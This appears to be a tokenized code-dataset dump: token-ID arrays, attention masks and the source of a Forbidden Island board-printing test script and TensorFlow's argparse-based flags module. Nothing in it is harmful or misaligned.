1392, 8, 277, 304, 267, 1350, 275, 791, 1392, 356, 359, 18, 12, 959, 9420, 267, 3503, 275, 5554, 63, 5182, 8, 1365, 9, 267, 1420, 275, 469, 288, 283, 13337, 356, 9016, 1507, 356, 1616, 12, 283, 18596, 356, 283, 11184, 5887, 24371, 288, 283, 4209, 356, 791, 14184, 356, 3634, 14, 6443, 12, 283, 2063, 356, 499, 12, 283, 3333, 356, 959, 1386, 267, 789, 267, 291, 14, 629, 8, 6514, 12, 1211, 8, 5825, 12, 1011, 2062, 430, 339, 347, 511, 63, 19, 63, 1392, 8, 277, 304, 267, 1350, 275, 791, 1392, 356, 359, 18, 12, 650, 12, 1520, 9420, 267, 3503, 275, 5554, 63, 5182, 8, 1365, 9, 267, 1420, 275, 469, 288, 283, 13337, 356, 9016, 1507, 356, 5685, 12, 283, 18596, 356, 283, 11184, 5887, 24371, 288, 283, 4209, 356, 791, 14184, 356, 15681, 14, 25043, 12, 283, 88, 356, 499, 12, 283, 89, 356, 650, 12, 283, 90, 356, 1520, 1386, 267, 789, 267, 291, 14, 629, 8, 6514, 12, 1211, 8, 5825, 12, 1011, 2062, 430, 339, 347, 511, 63, 10603, 63, 1392, 8, 277, 304, 267, 367, 2215, 315, 8189, 18, 12, 650, 12, 1520, 3196, 283, 18, 12, 650, 12, 1520, 356, 288, 1350, 275, 791, 1392, 356, 2215, 93, 288, 3503, 275, 5554, 63, 5182, 8, 1365, 9, 288, 1420, 275, 469, 355, 283, 13337, 356, 9016, 1507, 356, 5685, 12, 283, 18596, 356, 283, 11184, 5887, 24371, 355, 283, 4209, 356, 791, 14184, 356, 15681, 14, 25043, 12, 283, 88, 356, 499, 12, 283, 89, 356, 650, 12, 283, 90, 356, 1520, 1386, 288, 789, 288, 291, 14, 629, 8, 6514, 12, 1211, 8, 5825, 12, 1011, 2062, 430, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
acbilson/forbidden-island
tests/test_print.py
1
1905
import sys sys.path.append('../src') from tiles import * from tile import * class Test(object): def __init__(self): self.board = "" def gen_board(self, tiles): segments = [] rows = [[0,1], [2,3,4,5], [6,7,8,9,10,11], [12,13,14,15,16,17], [18,19,20,21], [22,23]] spaces = [' ', ' ', '', '', ' ', ' '] names = [t.name for t in tiles] players = [t.player for t in tiles] statuses = [t.status for t in tiles] allSegs = [] for i in range(0, len(rows)): nameSegments = self._gen_segments(rows[i], spaces[i], ('/', '\\'), names) playerSegments = self._gen_segments(rows[i], spaces[i], ('|', '|'), players) statusSegments = self._gen_segments(rows[i], spaces[i], ('\\', '/'), statuses, newLine=True) allSegs.append(''.join(nameSegments)) allSegs.append(''.join(playerSegments)) allSegs.append(''.join(statusSegments)) return ''.join(allSegs) def _gen_segments(self, row, space, dividers, tileSegments, newLine=None): TILE_SPACE = ' ' segments = [] segments.append(space) last = row[len(row)-1] rowSegments = tileSegments[row[0]:last+1] for i,rs in enumerate(rowSegments): segments.append(dividers[0] + rs.value + dividers[1]) if len(rowSegments) != i: segments.append(TILE_SPACE) segments.append(space + '\n') if newLine != None: segments.append('\n') return segments if __name__ == '__main__': tiles = Tiles() t = Test() board = t.gen_board(tiles.tiles) print(board)
gpl-3.0
[ 646, 984, 199, 1274, 14, 515, 14, 740, 24592, 2164, 358, 199, 504, 30419, 492, 627, 199, 504, 12835, 492, 627, 199, 199, 533, 1379, 8, 785, 304, 339, 347, 636, 826, 721, 277, 304, 267, 291, 14, 3576, 275, 3087, 2378, 347, 3805, 63, 3576, 8, 277, 12, 30419, 304, 398, 11998, 275, 942, 398, 4730, 275, 3474, 16, 12, 17, 467, 8892, 359, 18, 12, 19, 12, 20, 12, 21, 467, 8892, 359, 22, 12, 23, 12, 24, 12, 25, 12, 709, 12, 845, 467, 355, 359, 713, 12, 969, 12, 1079, 12, 1046, 12, 975, 12, 1196, 467, 355, 359, 1085, 12, 1167, 12, 1165, 12, 2025, 467, 355, 359, 1081, 12, 1789, 2677, 398, 7883, 275, 788, 3322, 1656, 2116, 283, 420, 1656, 2116, 3260, 2116, 3260, 2116, 283, 420, 1656, 2116, 283, 3322, 24710, 398, 1561, 275, 359, 84, 14, 354, 367, 307, 315, 30419, 61, 267, 30130, 275, 359, 84, 14, 6147, 367, 307, 315, 30419, 61, 267, 24498, 275, 359, 84, 14, 1205, 367, 307, 315, 30419, 61, 398, 1006, 1513, 458, 275, 942, 398, 367, 284, 315, 1425, 8, 16, 12, 822, 8, 3838, 2298, 288, 536, 23287, 275, 291, 423, 2268, 63, 13879, 8, 3838, 59, 73, 467, 7883, 59, 73, 467, 661, 3678, 6468, 659, 1561, 9, 288, 7748, 23287, 275, 291, 423, 2268, 63, 13879, 8, 3838, 59, 73, 467, 7883, 59, 73, 467, 661, 26320, 11280, 659, 30130, 9, 288, 2004, 23287, 275, 291, 423, 2268, 63, 13879, 8, 3838, 59, 73, 467, 7883, 59, 73, 467, 661, 1103, 297, 1994, 659, 24498, 12, 892, 3049, 29, 549, 9, 953, 1006, 1513, 458, 14, 740, 17840, 904, 8, 354, 23287, 430, 288, 1006, 1513, 458, 14, 740, 17840, 904, 8, 6147, 23287, 430, 288, 1006, 1513, 458, 14, 740, 17840, 904, 8, 1205, 23287, 430, 398, 372, 6522, 904, 8, 452, 1513, 458, 9, 339, 347, 485, 2268, 63, 13879, 8, 277, 12, 1962, 12, 4601, 12, 487, 2922, 83, 12, 12835, 23287, 12, 892, 3049, 29, 403, 304, 398, 377, 8453, 63, 11658, 275, 283, 283, 398, 11998, 275, 942, 267, 11998, 14, 740, 8, 2638, 9, 398, 2061, 275, 1962, 59, 552, 8, 1143, 7216, 17, 61, 267, 1962, 23287, 275, 12835, 23287, 59, 1143, 59, 16, 2189, 2019, 11, 17, 61, 398, 367, 284, 12, 2393, 315, 3874, 8, 1143, 23287, 304, 288, 11998, 14, 740, 8, 328, 2922, 83, 59, 16, 61, 435, 10717, 14, 585, 435, 487, 2922, 83, 59, 17, 566, 288, 340, 822, 8, 1143, 23287, 9, 1137, 284, 26, 355, 11998, 14, 740, 8, 52, 8453, 63, 11658, 9, 10631, 11998, 14, 740, 8, 2638, 435, 1557, 78, 358, 398, 340, 892, 3049, 1137, 488, 26, 288, 11998, 14, 740, 2258, 78, 358, 398, 372, 11998, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 339, 30419, 275, 377, 22894, 342, 272, 307, 275, 1379, 342, 272, 13811, 275, 307, 14, 2268, 63, 3576, 8, 18819, 14, 18819, 9, 339, 870, 8, 3576, 9, 4388, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 984, 199, 1274, 14, 515, 14, 740, 24592, 2164, 358, 199, 504, 30419, 492, 627, 199, 504, 12835, 492, 627, 199, 199, 533, 1379, 8, 785, 304, 339, 347, 636, 826, 721, 277, 304, 267, 291, 14, 3576, 275, 3087, 2378, 347, 3805, 63, 3576, 8, 277, 12, 30419, 304, 398, 11998, 275, 942, 398, 4730, 275, 3474, 16, 12, 17, 467, 8892, 359, 18, 12, 19, 12, 20, 12, 21, 467, 8892, 359, 22, 12, 23, 12, 24, 12, 25, 12, 709, 12, 845, 467, 355, 359, 713, 12, 969, 12, 1079, 12, 1046, 12, 975, 12, 1196, 467, 355, 359, 1085, 12, 1167, 12, 1165, 12, 2025, 467, 355, 359, 1081, 12, 1789, 2677, 398, 7883, 275, 788, 3322, 1656, 2116, 283, 420, 1656, 2116, 3260, 2116, 3260, 2116, 283, 420, 1656, 2116, 283, 3322, 24710, 398, 1561, 275, 359, 84, 14, 354, 367, 307, 315, 30419, 61, 267, 30130, 275, 359, 84, 14, 6147, 367, 307, 315, 30419, 61, 267, 24498, 275, 359, 84, 14, 1205, 367, 307, 315, 30419, 61, 398, 1006, 1513, 458, 275, 942, 398, 367, 284, 315, 1425, 8, 16, 12, 822, 8, 3838, 2298, 288, 536, 23287, 275, 291, 423, 2268, 63, 13879, 8, 3838, 59, 73, 467, 7883, 59, 73, 467, 661, 3678, 6468, 659, 1561, 9, 288, 7748, 23287, 275, 291, 423, 2268, 63, 13879, 8, 3838, 59, 73, 467, 7883, 59, 73, 467, 661, 26320, 11280, 659, 30130, 9, 288, 2004, 23287, 275, 291, 423, 2268, 63, 13879, 8, 3838, 59, 73, 467, 7883, 59, 73, 467, 661, 1103, 297, 1994, 659, 24498, 12, 892, 3049, 29, 549, 9, 953, 1006, 1513, 458, 14, 740, 17840, 904, 8, 354, 23287, 430, 288, 1006, 1513, 458, 14, 740, 17840, 904, 8, 6147, 23287, 430, 288, 1006, 1513, 458, 14, 740, 17840, 904, 8, 1205, 23287, 430, 398, 372, 6522, 904, 8, 452, 1513, 458, 9, 339, 347, 485, 2268, 63, 13879, 8, 277, 12, 1962, 12, 4601, 12, 487, 2922, 83, 12, 12835, 23287, 12, 892, 3049, 29, 403, 304, 398, 377, 8453, 63, 11658, 275, 283, 283, 398, 11998, 275, 942, 267, 11998, 14, 740, 8, 2638, 9, 398, 2061, 275, 1962, 59, 552, 8, 1143, 7216, 17, 61, 267, 1962, 23287, 275, 12835, 23287, 59, 1143, 59, 16, 2189, 2019, 11, 17, 61, 398, 367, 284, 12, 2393, 315, 3874, 8, 1143, 23287, 304, 288, 11998, 14, 740, 8, 328, 2922, 83, 59, 16, 61, 435, 10717, 14, 585, 435, 487, 2922, 83, 59, 17, 566, 288, 340, 822, 8, 1143, 23287, 9, 1137, 284, 26, 355, 11998, 14, 740, 8, 52, 8453, 63, 11658, 9, 10631, 11998, 14, 740, 8, 2638, 435, 1557, 78, 358, 398, 340, 892, 3049, 1137, 488, 26, 288, 11998, 14, 740, 2258, 78, 358, 398, 372, 11998, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 339, 30419, 275, 377, 22894, 342, 272, 307, 275, 1379, 342, 272, 13811, 275, 307, 14, 2268, 63, 3576, 8, 18819, 14, 18819, 9, 339, 870, 8, 3576, 9, 4388, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
ivano666/tensorflow
tensorflow/python/platform/flags.py
28
4260
# Copyright 2015 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Implementation of the flags interface.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import argparse _global_parser = argparse.ArgumentParser() class _FlagValues(object): def __init__(self): """Global container and accessor for flags and their values.""" self.__dict__['__flags'] = {} self.__dict__['__parsed'] = False def _parse_flags(self): result, _ = _global_parser.parse_known_args() for flag_name, val in vars(result).items(): self.__dict__['__flags'][flag_name] = val self.__dict__['__parsed'] = True def __getattr__(self, name): """Retrieves the 'value' attribute of the flag --name.""" if not self.__dict__['__parsed']: self._parse_flags() if name not in self.__dict__['__flags']: raise AttributeError(name) return self.__dict__['__flags'][name] def __setattr__(self, name, value): """Sets the 'value' attribute of the flag --name.""" if not self.__dict__['__parsed']: self._parse_flags() self.__dict__['__flags'][name] = value def _define_helper(flag_name, default_value, docstring, flagtype): """Registers 'flag_name' with 'default_value' and 'docstring'.""" _global_parser.add_argument("--" + flag_name, default=default_value, help=docstring, type=flagtype) # Provides the global object that can be used to access flags. FLAGS = _FlagValues() def DEFINE_string(flag_name, default_value, docstring): """Defines a flag of type 'string'. Args: flag_name: The name of the flag as a string. default_value: The default value the flag should take as a string. docstring: A helpful message explaining the use of the flag. """ _define_helper(flag_name, default_value, docstring, str) def DEFINE_integer(flag_name, default_value, docstring): """Defines a flag of type 'int'. Args: flag_name: The name of the flag as a string. default_value: The default value the flag should take as an int. docstring: A helpful message explaining the use of the flag. """ _define_helper(flag_name, default_value, docstring, int) def DEFINE_boolean(flag_name, default_value, docstring): """Defines a flag of type 'boolean'. Args: flag_name: The name of the flag as a string. default_value: The default value the flag should take as a boolean. docstring: A helpful message explaining the use of the flag. """ # Register a custom function for 'bool' so --flag=True works. def str2bool(v): return v.lower() in ('true', 't', '1') _global_parser.add_argument('--' + flag_name, nargs='?', const=True, help=docstring, default=default_value, type=str2bool) _global_parser.add_argument('--no' + flag_name, action='store_false', dest=flag_name) # The internal google library defines the following alias, so we match # the API for consistency. DEFINE_bool = DEFINE_boolean # pylint: disable=invalid-name def DEFINE_float(flag_name, default_value, docstring): """Defines a flag of type 'float'. Args: flag_name: The name of the flag as a string. default_value: The default value the flag should take as a float. docstring: A helpful message explaining the use of the flag. """ _define_helper(flag_name, default_value, docstring, float)
apache-2.0
[ 3, 1898, 6900, 4475, 3277, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 199, 624, 7921, 402, 314, 3285, 3217, 1041, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 7534, 199, 199, 63, 2966, 63, 2087, 275, 7534, 14, 10730, 342, 199, 199, 533, 485, 5318, 6550, 8, 785, 304, 819, 347, 636, 826, 721, 277, 304, 272, 408, 7025, 3970, 436, 19474, 367, 3285, 436, 3932, 1338, 1041, 272, 291, 855, 807, 363, 13742, 2469, 418, 275, 1052, 272, 291, 855, 807, 363, 13742, 6751, 418, 275, 756, 819, 347, 485, 1122, 63, 2469, 8, 277, 304, 272, 754, 12, 485, 275, 485, 2966, 63, 2087, 14, 1122, 63, 3159, 63, 589, 342, 272, 367, 3305, 63, 354, 12, 1139, 315, 6802, 8, 1099, 680, 1744, 837, 489, 291, 855, 807, 363, 13742, 2469, 3488, 4173, 63, 354, 61, 275, 1139, 272, 291, 855, 807, 363, 13742, 6751, 418, 275, 715, 819, 347, 636, 5675, 721, 277, 12, 536, 304, 272, 408, 28112, 314, 283, 585, 7, 2225, 402, 314, 3305, 1553, 354, 1041, 272, 340, 440, 291, 855, 807, 363, 13742, 6751, 2565, 489, 291, 423, 1122, 63, 2469, 342, 272, 340, 536, 440, 315, 291, 855, 807, 363, 13742, 2469, 2565, 489, 746, 4281, 8, 354, 9, 272, 372, 291, 855, 807, 363, 13742, 2469, 3488, 354, 61, 819, 347, 636, 10202, 721, 277, 12, 536, 12, 574, 304, 272, 408, 9899, 314, 283, 585, 7, 2225, 402, 314, 3305, 1553, 354, 1041, 272, 340, 440, 291, 855, 807, 363, 13742, 6751, 2565, 489, 291, 423, 1122, 63, 2469, 342, 272, 291, 855, 807, 363, 13742, 2469, 3488, 354, 61, 275, 574, 421, 199, 318, 485, 4640, 63, 3676, 8, 4173, 63, 354, 12, 849, 63, 585, 12, 9214, 12, 3305, 466, 304, 523, 408, 31136, 283, 4173, 63, 354, 7, 543, 283, 885, 63, 585, 7, 436, 283, 12485, 23690, 523, 485, 2966, 63, 2087, 14, 525, 63, 2094, 6739, 2, 435, 3305, 63, 354, 12, 2892, 849, 29, 885, 63, 585, 12, 2892, 1720, 29, 12485, 12, 2892, 730, 29, 4173, 466, 9, 421, 199, 3, 21552, 314, 2288, 909, 626, 883, 506, 1202, 370, 2879, 3285, 14, 199, 4831, 275, 485, 5318, 6550, 342, 421, 199, 318, 23566, 3565, 63, 875, 8, 4173, 63, 354, 12, 849, 63, 585, 12, 9214, 304, 523, 408, 23891, 282, 3305, 402, 730, 283, 875, 1370, 819, 3033, 26, 272, 3305, 63, 354, 26, 710, 536, 402, 314, 3305, 465, 282, 1059, 14, 272, 849, 63, 585, 26, 710, 849, 574, 314, 3305, 1077, 5452, 465, 282, 1059, 14, 272, 9214, 26, 437, 24606, 1245, 27797, 316, 314, 675, 402, 314, 3305, 14, 523, 408, 523, 485, 4640, 63, 3676, 8, 4173, 63, 354, 12, 849, 63, 585, 12, 9214, 12, 620, 9, 421, 199, 318, 23566, 3565, 63, 4115, 8, 4173, 63, 354, 12, 849, 63, 585, 12, 9214, 304, 523, 408, 23891, 282, 3305, 402, 730, 283, 442, 1370, 819, 3033, 26, 272, 3305, 63, 354, 26, 710, 536, 402, 314, 3305, 465, 